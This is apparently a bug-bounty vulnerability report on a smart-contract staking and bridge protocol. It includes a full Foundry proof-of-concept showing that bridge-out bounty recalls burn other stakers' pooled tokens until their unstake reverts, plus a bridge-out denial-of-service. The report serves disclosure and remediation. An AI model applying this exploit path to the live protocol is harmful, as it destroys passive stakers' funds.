Summary
Gatekeeper.recall’s bounty leg calls Staking.recall(bountyAmount, REGISTRY_INDEX), which
routes through treasury.buyBack(...) and ends in IFTSo(ftso).burn(ftsoAmount) — burning from
the Staking contract’s own FTSO balance (src/Staking.sol:200). That balance is the single
unsegregated pool holding every staker’s principal. The bounty fraction is requester-chosen and
can be up to 100% of the bridge-out amount (src/Gatekeeper.sol:162-164), and the bounty is paid
out in native ETH to the exiter themself — so each bridge-out with a bounty permanently destroys
other users’ staked backing while subsidizing the exiter. Proven end to end in Foundry: 13 bounty
recalls burned 520,000 of 800,000 pooled FTSO until an innocent staker’s unstake() reverted
with InsufficientBalance. The only pool inflow that could offset this, phantomRefund, was
measured at ~0.6 FTSO against ~10,000 FTSO burned per modest recall. A second proven consequence
is a bridge-out DoS: recalls revert whenever the pool is thinner than the next bounty, freezing
all bridge-outs until refill.
Severity
High — CVSS 3.1: 8.1 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Triggered through the normal bridge-out flow (Network, Low complexity); the “attacker” is any
user able to initiate a bridge-out — no admin/gatekeeper role needed (PR:L); passive stakers do
nothing (UI:N). Integrity High: permanent, irreversible destruction of other users’ staked
principal with share supply never adjusted. Availability High: the DoS variant halts all
bridge-outs whenever the pool is thin relative to the next bounty.
Affected code
// src/Gatekeeper.sol:162-176 — bounty math + bounty leg
requestedBountyAmount = amount * payload.bounty / type(uint32).max; // up to 100% of amount
bountyAmount = isContract(receiver) ? 0 : requestedBountyAmount;
...
IStaking(staking).recall(bountyAmount, REGISTRY_INDEX); // bounty leg
// src/Staking.sol:185-200 — recall: converts to FTSO, buyBack, then burns from own balance
ftsoAmount = GHST.balanceFrom(bountyAmount);
treasury.buyBack(msg.sender, ftsoAmount, index); // WETH reserves -> gatekeeper; pulls NO FTSO
IFTSo(ftso).burn(ftsoAmount); // _burn(msg.sender=staking, ...) — the staker pool
// src/FatsoERC20.sol:26-28 — burn destroys the caller's own balance, no role check
function burn(uint256 amount) external { _burn(msg.sender, amount); }
// src/Staking.sol:141 — unstake guard that innocent stakers eventually hit
if (amount > IERC20(ftso).balanceOf(address(this))) revert InsufficientBalance();
Steps to reproduce
Local Foundry only — no testnet/mainnet interaction. Starting from a clean state:
git clone --depth 1 https://git.ghostchain.io/ghostchain/ghost-dao-contracts && cd ghost-dao-contractsgit rev-parse HEAD→b87dff4c7a6ac34b35698c42b4d1f34b5f930864- The
--depth 1clone leaves thelib/forge-stdsubmodule empty, which breaks compilation
of all repo tests (environment quirk, not part of the finding):
ln -sfn ../dependencies/forge-std-1.9.2 lib/forge-std - Save the PoC below as
test/h3/H3.t.sol - Run:
forge test --match-path test/h3/H3.t.sol -vv(forge 1.6.0-nightly, solc 0.8.20 perfoundry.toml)
Expected: all 3 tests pass (see observed output below). The PoC drives Gatekeeper.recall
via vm.prank(address(gatekeeper)), satisfying the msg.sender == address(this) gate
(src/Gatekeeper.sol:158) exactly as verify()'s internal address(this).call(call) does —
all downstream logic is the production path.
PoC
test/h3/H3.t.sol (click to expand)
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
// H3 PoC: Staking.recall burns STAKERS' FTSO from the single staking pool.
//
// Flow under test (real contracts, real wiring):
// Gatekeeper.recall --bounty leg--> Staking.recall(bountyAmount, 0)
// --> Treasury.buyBack(gatekeeper, ftsoAmount, 0) // WETH reserves -> gatekeeper
// --> IFTSO(ftso).burn(ftsoAmount) // burned from STAKING's own balance
//
// The staking pool's FTSO balance is one unsegregated pot holding user-staked
// principal (+ phantomRefund mints). The burn has no corresponding reduction of
// STNK/gHST share supply, so cumulative bounties dilute backing until
// unstake() reverts with InsufficientBalance. A recall whose ftsoAmount exceeds
// the pool balance reverts outright (bridge-out DoS until the pool refills).
//
// NOTE on realism: Gatekeeper.recall is normally reached via verify() with a
// validator BIP-340 signature (out of scope for H3). We invoke it directly via
// vm.prank(gatekeeper), which satisfies the `msg.sender == address(this)`
// gate exactly as verify()'s internal `address(this).call(call)` would. All
// downstream logic (bounty math, buyBack, burn) is the real code path.
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {Fatso} from "../../src/FatsoERC20.sol";
import {Stinky} from "../../src/StinkyERC20.sol";
import {Ghost} from "../../src/GhstERC20.sol";
import {GhostAuthority} from "../../src/GhostAuthority.sol";
import {GhostTreasury} from "../../src/Treasury.sol";
import {GhostStaking} from "../../src/Staking.sol";
import {WETH9} from "../../src/mocks/WETH9.sol";
import {GhostBondingCalculator} from "../../src/StandardBondingCalculator.sol";
import {Gatekeeper} from "../../src/Gatekeeper.sol";
import {ITreasury} from "../../src/interfaces/ITreasury.sol";
import {IStaking} from "../../src/interfaces/IStaking.sol";
import {RequestPacking} from "../../src/libraries/Packing.sol";
contract H3PoC is Test {
uint256 public constant INITIAL_INDEX = 10819917194513808e56;
uint48 public constant EPOCH_LENGTH = 2200;
uint48 public constant EPOCH_NUMBER = 1;
uint48 public constant EPOCH_END_TIME = 1337;
uint256 public constant INITIAL_MINT = 1000000000000000000000000; // 1e24 wei WETH
address constant INITIALIZER = 0x0000000000000000000000000000000000000001;
address constant GOVERNOR = 0x0000000000000000000000000000000000000003;
address constant GUARDIAN = 0x0000000000000000000000000000000000000004;
address constant POLICY = 0x0000000000000000000000000000000000000005;
address constant VAULT = 0x0000000000000000000000000000000000000006;
address constant ALICE = 0x0000000000000000000000000000000000000007; // bridger (ghosts out)
address constant BOB = 0x0000000000000000000000000000000000000008; // passive staker
address CAROL; // bounty receiver EOA (set in setUp via makeAddr)
Fatso ftso;
Stinky stnk;
Ghost ghst;
GhostStaking staking;
GhostTreasury treasury;
GhostAuthority authority;
GhostBondingCalculator calculator;
WETH9 reserve;
Gatekeeper gatekeeper;
function setUp() public {
vm.startPrank(INITIALIZER, INITIALIZER);
reserve = new WETH9();
authority = new GhostAuthority(GOVERNOR, GUARDIAN, POLICY, VAULT);
ftso = new Fatso(address(authority), "Fatso", "FTSO");
stnk = new Stinky(INITIAL_INDEX, "Stinky", "STNK");
ghst = new Ghost(address(stnk), "Ghost", "GHST");
staking = new GhostStaking(
address(ftso), address(stnk), address(ghst),
EPOCH_LENGTH, EPOCH_NUMBER, EPOCH_END_TIME, address(authority)
);
treasury = new GhostTreasury(address(ftso), address(authority));
calculator = new GhostBondingCalculator(address(ftso), 6000, 3);
stnk.initialize(address(staking), address(treasury), address(ghst));
ghst.initialize(address(staking));
gatekeeper = Gatekeeper(payable(staking.gatekeeper()));
CAROL = makeAddr("carol");
vm.stopPrank();
vm.startPrank(GOVERNOR);
authority.pushVault(address(treasury));
treasury.enable(ITreasury.STATUS.RESERVEDEPOSITOR, ALICE, address(0));
treasury.enable(ITreasury.STATUS.RESERVETOKEN, address(reserve), address(calculator));
treasury.enable(ITreasury.STATUS.STAKING, address(staking), address(0));
vm.stopPrank();
// ALICE seeds the treasury with WETH and receives FTSO for it.
vm.deal(ALICE, INITIAL_MINT);
vm.startPrank(ALICE);
reserve.deposit{value: INITIAL_MINT}();
reserve.approve(address(treasury), type(uint256).max);
treasury.deposit(address(reserve), INITIAL_MINT, treasury.tokenValue(address(reserve), INITIAL_MINT) / 2);
vm.stopPrank();
}
// Drive the real Gatekeeper.recall exactly as verify()'s internal
// `address(this).call(call)` would (msg.sender == gatekeeper contract).
function _recall(uint256 session, uint256 amount, uint32 bounty, address receiver) internal {
uint256 packed = RequestPacking.pack(bounty, uint64(block.chainid), receiver);
vm.prank(address(gatekeeper));
gatekeeper.recall(session, amount, packed);
}
// (a) INSOLVENCY: repeated bounty recalls burn the pool until a passive
// staker's unstake() reverts with InsufficientBalance.
function test_H3_bountyBurnsStakersPrincipal_untilUnstakeReverts() public {
uint256 STAKE = 400_000e9; // 400k FTSO each (FTSO = 9 decimals)
// ALICE and BOB stake. ALICE ghosts everything out (bridge-in);
// BOB stays a passive staker holding gHST.
vm.startPrank(ALICE);
ftso.approve(address(staking), type(uint256).max);
staking.stake(STAKE, ALICE, false, true);
uint256 aliceGhst = ghst.balanceOf(ALICE);
staking.ghost(bytes32(abi.encodePacked(ALICE)), aliceGhst);
ftso.transfer(BOB, STAKE);
vm.stopPrank();
vm.startPrank(BOB);
ftso.approve(address(staking), type(uint256).max);
staking.stake(STAKE, BOB, false, true);
uint256 bobGhst = ghst.balanceOf(BOB);
vm.stopPrank();
uint256 poolBefore = ftso.balanceOf(address(staking));
uint256 bobRedeemable = ghst.balanceFrom(bobGhst); // FTSO BOB can claim
uint256 ghstSupplyBefore = ghst.totalSupply();
console.log("pool FTSO before recalls :", poolBefore);
console.log("BOB gHST :", bobGhst);
console.log("BOB redeemable FTSO :", bobRedeemable);
console.log("gHST totalSupply before :", ghstSupplyBefore);
assertEq(poolBefore, 2 * STAKE);
// Each recall: 100% bounty (bounty = type(uint32).max) so the whole
// bridge-out `amount` becomes bounty and receiverAmount = 0
// (bridge-imbalance untouched, sessions just need uniqueness).
uint256 amount = 20_000e9 * 1e18 / ghst.index() * 2; // gHST units ~> ~20k FTSO burn
uint256 perCallBurn = ghst.balanceFrom(amount);
console.log("per-recall FTSO burn :", perCallBurn);
uint256 burnedTotal = 0;
uint256 N = 13; // 13 x ~40k FTSO = ~520k burned; pool 800k -> ~280k left < BOB's 400k
for (uint256 i = 0; i < N; i++) {
_recall(1000 + i, amount, type(uint32).max, CAROL);
burnedTotal += perCallBurn;
}
uint256 poolAfter = ftso.balanceOf(address(staking));
console.log("pool FTSO after 13 recalls :", poolAfter);
console.log("cumulative burned :", burnedTotal);
console.log("pool decrease :", poolBefore - poolAfter);
console.log("gHST totalSupply after :", ghst.totalSupply());
console.log("CAROL ETH bounty received :", CAROL.balance);
// The pool lost exactly the burned amount: burns came from stakers' pot.
assertEq(poolBefore - poolAfter, burnedTotal);
// Share supply did NOT shrink: no dilution accounting happened.
assertEq(ghst.totalSupply(), ghstSupplyBefore);
// The bounty was actually paid out in native ETH to the exiter.
assertGt(CAROL.balance, 0);
// BOB's backing is gone: his unstake must now revert.
console.log("BOB redeemable FTSO :", bobRedeemable);
console.log("pool < redeemable? :", poolAfter < bobRedeemable);
assertLt(poolAfter, bobRedeemable);
vm.prank(BOB);
vm.expectRevert(IStaking.InsufficientBalance.selector);
staking.unstake(bobGhst, BOB, false, false);
console.log("RESULT: unstake reverted with InsufficientBalance (staker insolvency)");
}
// (b) ORDERING HAZARD: a bounty-recall reverts when the pool holds less
// than ftsoAmount; the same recall succeeds once the pool refills.
function test_H3_recallRevertsWhenPoolInsufficient_thenWorksAfterRefill() public {
uint256 STAKE = 100e9; // 100 FTSO
vm.startPrank(ALICE);
ftso.approve(address(staking), type(uint256).max);
staking.stake(STAKE, ALICE, false, true);
staking.ghost(bytes32(abi.encodePacked(ALICE)), ghst.balanceOf(ALICE));
vm.stopPrank();
uint256 pool = ftso.balanceOf(address(staking));
console.log("pool FTSO :", pool);
// Bounty sized so ftsoAmount (~46.7k FTSO) >> pool, but treasury WETH
// still covers buyBack (so the revert is proven to come from the burn).
uint256 amount = 100_000e9 * 1e18 / ghst.index();
uint256 ftsoAmount = ghst.balanceFrom(amount);
console.log("recall ftsoAmount :", ftsoAmount);
assertGt(ftsoAmount, pool);
// Direct Staking.recall (as gatekeeper): reverts on the burn.
uint256 packed = RequestPacking.pack(type(uint32).max, uint64(block.chainid), CAROL);
vm.prank(address(gatekeeper));
vm.expectRevert();
staking.recall(amount, 0);
// Full Gatekeeper.recall path: also reverts (atomic: buyBack rolls back).
vm.prank(address(gatekeeper));
vm.expectRevert();
gatekeeper.recall(777, amount, packed);
console.log("RESULT: recall reverted while pool < ftsoAmount (bridge-out DoS)");
// A fresh stake refills the pool; the identical recall now succeeds.
vm.startPrank(ALICE);
staking.stake(ftsoAmount, ALICE, false, true);
vm.stopPrank();
console.log("pool after refill :", ftso.balanceOf(address(staking)));
vm.prank(address(gatekeeper));
gatekeeper.recall(778, amount, packed);
console.log("RESULT: same recall succeeded after pool refill");
assertGt(CAROL.balance, 0);
}
// (c) COUNTER-SCENARIO magnitude check: how much does one phantomRefund
// mint into the pool vs. what one bounty-recall burns?
function test_H3_phantomRefundVsBountyMagnitudes() public {
// Realistic verify() gas: ~200k gas at the 3 gwei cap.
uint256 gasSpent = 200_000 * 3e9; // 6e14 wei
uint256 poolBefore = ftso.balanceOf(address(staking));
vm.prank(address(gatekeeper));
staking.phantomRefund(BOB, gasSpent, 0);
uint256 refundMinted = ftso.balanceOf(address(staking)) - poolBefore;
uint256 bobGhst = ghst.balanceOf(BOB);
console.log("phantomRefund: FTSO minted into pool:", refundMinted);
console.log("phantomRefund: gHST minted to relayer:", bobGhst);
// One 100%-bounty recall of a 10k-FTSO-equivalent bridge-out:
uint256 bountyAmount = 10_000e9 * 1e18 / ghst.index();
uint256 bountyBurn = ghst.balanceFrom(bountyAmount);
console.log("one bounty-recall burn (10k FTSO out):", bountyBurn);
console.log("refund covers x of one bounty :", bountyBurn / refundMinted);
assertGt(bountyBurn / refundMinted, 1000);
console.log("RESULT: a single verify refund is >1000x smaller than one modest bounty burn");
}
}
Observed output
[PASS] test_H3_bountyBurnsStakersPrincipal_untilUnstakeReverts() (gas: 1167216)
pool FTSO before recalls : 800000000000000 (800,000 FTSO)
per-recall FTSO burn : 39999999999999 (40,000 FTSO)
pool FTSO after 13 recalls : 280000000000013 (280,000 FTSO)
cumulative burned : 519999999999987 (520,000 FTSO)
pool decrease : 519999999999987 (== cumulative burned, exact)
gHST totalSupply after : 8561402987334423879123 (unchanged)
CAROL ETH bounty received : 519999999987000000000 (~520 ETH)
RESULT: unstake reverted with InsufficientBalance (staker insolvency)
[PASS] test_H3_recallRevertsWhenPoolInsufficient_thenWorksAfterRefill() (gas: 713401)
pool FTSO : 100000000000 (100 FTSO)
RESULT: recall reverted while pool < ftsoAmount (bridge-out DoS)
RESULT: same recall succeeded after pool refill
[PASS] test_H3_phantomRefundVsBountyMagnitudes() (gas: 166489)
phantomRefund: FTSO minted into pool: 600000000 (0.6 FTSO)
one bounty-recall burn (10k FTSO out): 9999999999999 (~10,000 FTSO)
refund covers x of one bounty : 16666
RESULT: a single verify refund is >1000x smaller than one modest bounty burn
Existing suite sanity check (unchanged by this work): forge test --match-path "test/gatekeeper/*" → 14 passed, 0 failed.
Impact
- Direct fund destruction: a single large exit at 100% bounty (allowed:
bounty ≤ type(uint32).max)
can insolvent the pool in one transaction; smaller fractions grind it down cumulatively. Burns are
irreversible and share supply never moves, so damage compounds across all current and future stakers. - Victims are passive: stakers who never bridged lose backing to other users’ exit bounties.
Nothing warns that the bounty is funded from staked principal. - Liveness: the ordering hazard freezes all bridge-outs whenever cumulative bounties have drawn
the pool below the next recall’sftsoAmount— a protocol-level DoS until new stakes/refunds refill it. - Self-dealing shape: the bounty is paid in native ETH to the exiter themself — an exit subsidy
funded by other stakers, exploitable deliberately, not just accidentally.
Remediation
- Fund the bounty from the treasury’s
excessReserves(mint-then-burn against surplus, or pay the
bounty from reserves) instead of burning staked principal. - Alternatively, burn a corresponding amount of the exiting claim’s share-side backing so per-share
FTSO backing is preserved. - At minimum, make the bounty leg revert/skip when it would render the pool insolvent, and segregate
bounty-funding accounting from the staker principal pool. - Note:
Fatso.mintisonlyVault, so the hole cannot be re-inflated except via treasury flows;
phantomRefundis best-effort (try/catch), capped byexcessReserves(), and measured 16,666x
too small to cover a modest bounty — it is not a mitigation.